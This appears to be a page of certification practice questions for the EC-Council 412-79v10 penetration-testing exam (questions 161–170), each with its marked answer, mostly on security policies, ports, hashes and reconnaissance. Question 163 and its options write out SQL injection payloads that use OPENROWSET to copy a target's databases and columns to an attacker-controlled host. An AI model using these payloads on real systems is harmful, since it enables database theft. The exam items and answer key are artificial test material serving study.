EC-COUNCIL 412-79V10 Online Practice Questions and Exam Preparation

EC-COUNCIL 412-79V10 Online Questions & Answers

• Question 161:

  Which of the following defines the details of services to be provided for the client's organization and the list of services required for performing the test in the organization?

  A. Draft
  B. Report
  C. Requirement list
  D. Quotation
  D. Quotation

• Question 162:

  Which of the following is the range for assigned ports managed by the Internet Assigned Numbers Authority (IANA)?

  A. 3001-3100
  B. 5000-5099
  C. 6666-6674
  D. 0-1023
  D. 0-1023

• Question 163:

  A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the database structure, and transfers the data to his machine by via a connection to the remote machine on port 80.

  The query he used to transfer databases was:

  '; insert into OPENROWSET

  ('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases ?

  The query he used to transfer table 1 was:

  '; insert into OPENROWSET('SQLoledb',

  'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 ?

  What query does he need in order to transfer the column?

  A. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.systables ?
  B. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.sysrows ?
  C. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns ?
  D. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_tables.dbo.syscolumns ?
  C. '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0;','select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns ?

• Question 164:

  DNS information records provide important data about:

  A. Phone and Fax Numbers
  B. Location and Type of Servers
  C. Agents Providing Service to Company Staff
  D. New Customer
  B. Location and Type of Servers

• Question 165:

  Which type of security policy applies to the below configuration? i)Provides maximum security while allowing known, but necessary, dangers ii)All services are blocked; nothing is allowed iii)Safe and necessary services are enabled individually iv)Non-essential services and procedures that cannot be made safe are NOT allowed v)Everything is logged

  

  A. Paranoid Policy
  B. Prudent Policy
  C. Permissive Policy
  D. Promiscuous Policy
  B. Prudent Policy

• Question 166:

  Which of the following statements is true about the LM hash?

  A. Disabled in Windows Vista and 7 OSs
  B. Separated into two 8-character strings
  C. Letters are converted to the lowercase
  D. Padded with NULL to 16 characters
  A. Disabled in Windows Vista and 7 OSs

• Question 167:

  Information gathering is performed to:

  i) Collect basic information about the target company and its network

  ii) Determine the operating system used, platforms running, web server versions, etc.

  iii) Find vulnerabilities and exploits

  

  Which of the following pen testing tests yields information about a company's technology infrastructure?

  A. Searching for web page posting patterns
  B. Analyzing the link popularity of the company's website
  C. Searching for trade association directories
  D. Searching for a company's job postings
  D. Searching for a company's job postings

• Question 168:

  Which of the following policies states that the relevant application owner must authorize requests for additional access to specific business applications in writing to the IT Department/resource?

  A. Special-Access Policy
  B. User Identification and Password Policy
  C. Personal Computer Acceptable Use Policy
  D. User-Account Policy
  B. User Identification and Password Policy

• Question 169:

  Identify the framework that comprises of five levels to guide agency assessment of their security programs and assist in prioritizing efforts for improvement:

  A. Information System Security Assessment Framework (ISSAF)
  B. Microsoft Internet Security Framework
  C. Nortells Unified Security Framework
  D. Federal Information Technology Security Assessment Framework
  D. Federal Information Technology Security Assessment Framework

• Question 170:

  Which of the following is not a characteristic of a firewall?

  A. Manages public access to private networked resources
  B. Routes packets between the networks
  C. Examines all traffic routed between the two networks to see if it meets certain criteria
  D. Filters only inbound traffic but not outbound traffic
  D. Filters only inbound traffic but not outbound traffic